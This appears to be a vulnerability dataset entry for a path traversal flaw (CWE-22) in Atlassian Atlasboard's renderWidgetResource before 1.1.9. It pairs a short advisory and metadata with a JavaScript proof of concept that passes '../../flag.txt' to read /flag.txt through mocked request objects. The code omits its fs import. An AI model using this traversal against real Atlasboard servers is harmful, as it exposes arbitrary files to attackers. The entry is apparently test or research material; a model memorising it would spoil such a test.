The renderWidgetResource resource in Atlasian Atlasboard before version 1.1.9 allows remote attackers to read arbitrary files via a path traversal vulnerability.
const widget = require(\"atlasboard/lib/webapp/routes/widget\");
// Mock req and res
const req = {};
const res = {
sendFile: (filePath) => {
// Read and return file contents synchronously
const data = fs.readFileSync(filePath, \"utf8\");
console.log(\"Contents of /flag.txt:\");
console.log(data);
},
status: function (code) {
this.statusCode = code;
return this;
},
send: function (msg) {
throw new Error(`Server responded with status ${this.statusCode}: ${msg}`);
},
};
// localPackagesPath set to root to allow traversal to /flag.txt
const localPackagesPath = \"/\";
// resource string with path traversal to escape localPackagesPath and widgets directory
const resource = \"../../flag.txt\";
// Call vulnerable function
await widget.renderWidgetResource(localPackagesPath, resource, req, res);
{
"nvd_published_at": "2021-09-01T06:15:00Z",
"cwe_ids": [
"CWE-22"
],
"severity": "HIGH",
"github_reviewed": true,
"github_reviewed_at": "2021-09-02T16:35:00Z"
}